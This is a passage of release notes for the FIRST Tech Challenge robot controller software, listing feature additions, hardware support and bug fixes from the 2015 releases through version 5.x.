opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use MR Color Sensor). Added HTRGBExample.java op mode (demonstrates how to use HT legacy color sensor). Added MatrixControllerDemo.java (demonstrates how to use legacy Matrix controller). Updated javadoc documentation. Updated release .apk files for Robot Controller and Driver Station apps. Release 15.10.06.002 Added support for Legacy Matrix 9.6V motor/servo controller. Cleaned up build.gradle file. Minor UI and bug fixes for driver station and robot controller apps. Throws error if Ultrasonic sensor (NXT) is not configured for legacy module port 4 or 5. Release 15.08.03.001 New user interfaces for FTC Driver Station and FTC Robot Controller apps. An init() method is added to the OpMode class. For this 